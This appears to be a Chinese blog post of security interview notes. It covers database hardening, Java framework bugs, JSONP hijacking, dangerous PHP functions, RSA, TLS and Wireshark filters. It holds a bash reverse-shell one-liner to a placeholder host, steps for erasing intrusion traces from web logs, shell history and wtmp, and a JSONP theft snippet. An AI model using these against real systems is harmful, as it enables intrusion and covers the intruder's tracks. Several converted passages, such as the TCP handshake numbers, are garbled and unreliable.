一、爲MongoDB添加認證:1)MongoDB啓動時添加–auth參數 2)給MongoDB添加用戶:use admin #使用admin庫 db.addUser(「root」, 「123456」) #添加用戶名root密碼123456的用戶 db.auth(「root」,「123456」) #驗證下是否添加成功,返回1說明成功 二、禁用HTTP和REST端口 MongoDB自身帶有一個HTTP服務和並支持REST接口。在2.6之後這些接口默認是關閉的。mongoDB默認會使用默認端口監聽web服務,通常不須要經過web方式進行遠程管理,建議禁用。修改配置文件或在啓動的時候選擇–nohttpinterface 參數nohttpinterface=false 三、限制綁定IP 啓動時加入參數 –bind_ip 127.0.0.1 或在/etc/mongodb.conf文件中添加如下內容:bind_ip = 127.0.0.1
Memcached是一套經常使用的key-value緩存系統,因爲它自己沒有權限控制模塊,因此對公網開放的Memcache服務很容易被攻擊者掃描發現,攻擊者經過命令交互可直接讀取Memcached中的敏感信息。
一、登陸機器執行netstat -an |more命令查看端口監聽狀況。回顯0.0.0.0:11211表示在全部網卡進行監聽,存在memcached未受權訪問漏洞。
二、telnet 11211,或nc -vv 11211,提示鏈接成功表示漏洞存在
a、設置memchached只容許本地訪問 b、禁止外網訪問Memcached 11211端口 c、編譯時加上–enable-sasl,啓用SASL認證
經過調用加密API將payload加密放入一個會被執行的段字節中。可是具體回答工程中我只回答道了SSRF老洞,m3u8頭,偏移量,加密。
STRUTS,SPRING 常見的java框架漏洞 其實面試官問這個問題的時候我不太清楚他要問什麼,我提到struts的045 048,java常見反序列化。045 錯誤處理引入了ognl表達式 048 封裝action的過程當中有一步調用getstackvalue遞歸獲取ognl表達式 反序列化 操做對象,經過手段引入。apache common的反射機制、readobject的重寫,其實具體的我也記不清楚。。。而後這部分就結束了
同源策略限制不一樣源對當前document的屬性內容進行讀取或設置。不一樣源的區分:協議、域名、子域名、IP、端口,以上有不一樣時即不一樣源。
JSON劫持、Callback可定義、JSONP內容可定義、Content-type不爲json。
JSON劫持,跨域劫持敏感信息,頁面相似於
function wooyun(v){ alert(v.username); } </script> <script src="http://js.login.360.cn/?o=sso&m=info&func=wooyun"></script>
Content-type不正確狀況下,JSONP和Callback內容可定義可形成XSS。JSONP和FLASH及其餘的利用參照知道創宇的JSONP安全攻防技術。
1,代碼執行:eval()、assert()、popen()、system()、exec()、shell_exec()、passthru(),pcntl_exec(),call_user_func_array(),create_function() 2,文件讀取:file_get_contents(),highlight_file(),fopen(),read file(),fread(),fgetss(), fgets(),parse_ini_file(),show_source(),file()等 3,命令執行:system(), exec(), shell_exec(), passthru() ,pcntl_exec(), popen(),proc_open()
DL函數,組件漏洞,環境變量。
==
在進行比較的時候,會先將字符串類型轉化成相同,再比較
若是比較一個數字和字符串或者比較涉及到數字內容的字符串,則字符串會被轉換成數值而且比較按照數值來進行
0e
開頭的字符串等於0
mysql:
/usr/local/mysql/data/
C:\ProgramData\MySQL\MySQL Server 5.6\Data\
oracle:$ORACLE_BASE/oradata/$ORACLE_SID/
meterpreter: clearev
web日誌,如apache的access.log,error.log。直接將日誌清除過於明顯,通常使用sed進行定向清除
e.g. sed -i -e ‘/192.169.1.1/d’
history命令的清除,也是對~/.bash_history進行定向清除
wtmp日誌的清除,/var/log/wtmp
登陸日誌清除 /var/log/secure
netstat
和 ss
命令的區別和優缺點netstat -antp` `ss -l
ss的優點在於它可以顯示更多更詳細的有關TCP和鏈接狀態的信息,並且比netstat更快速更高效。
bash -i>&/dev/tcp/x.x.x.x/4444 0>&1
ls /proc
系統信息,硬件信息,內核版本,加載的模塊,進程
/etc/ssh/sshd___config
iptables配置
tail -n 100 filename
加密:
密文=明文^EmodN
RSA加密是對明文的E次方後除以N後求餘數的過程
公鑰=(E,N)
解密:
明文=密文^DmodN私鑰=(D,N)
三個參數n,e1,e2
n是兩個大質數p,q的積
引用以前一個學長的答案,能夠經過一些物理系統生成隨機數,如電壓的波動、磁盤磁頭讀/寫時的尋道時間、空中電磁波的噪聲等。
創建TCP鏈接、客戶端發送SSL請求、服務端處理SSL請求、客戶端發送公共密鑰加密過的隨機數據、服務端用私有密鑰解密加密後的隨機數據並協商暗號、服務端跟客戶端利用暗號生成加密算法跟密鑰key、以後正常通訊。這部分原本是忘了的,可是以前看SSL Pinning的時候好像記了張圖在腦子裏,掙扎半天仍是沒敢肯定,遂放棄。。。
(1)客戶端向服務器端發送一個SYN包,包含客戶端使用的端口號和初始序列號x; (2)服務器端收到客戶端發送來的SYN包後,向客戶端發送一個SYN和ACK都置位的TCP報文,包含確認號xx1和服務器端的初始序列號y; (3)客戶端收到服務器端返回的SYNSACK報文後,向服務器端返回一個確認號爲yy一、序號爲xx1的ACK報文,一個標準的TCP鏈接完成。
tcp面向鏈接,udp面向報文 tcp對系統資源的要求多 udp結構簡單 tcp保證數據完整性和順序,udp不保證
a、客戶端發送請求到服務器端 b、服務器端返回證書和公開密鑰,公開密鑰做爲證書的一部分而存在 c、客戶端驗證證書和公開密鑰的有效性,若是有效,則生成共享密鑰並使用公開密鑰加密發送到服務器端 d、服務器端使用私有密鑰解密數據,並使用收到的共享密鑰加密數據,發送到客戶端 e、客戶端使用共享密鑰解密數據 f、SSL加密創建
過濾ip:
過濾源ip地址:ip.src==1.1.1.1;
,目的ip地址:ip.dst==1.1.1.1;
過濾端口:
過濾80端口:tcp.port==80
,源端口:tcp.srcport==80
,目的端口:tcp.dstport==80
協議過濾:
直接輸入協議名便可,如http協議http
http模式過濾:
過濾get/post包http.request.mothod=="GET/POST"
給原做者一個贊哦。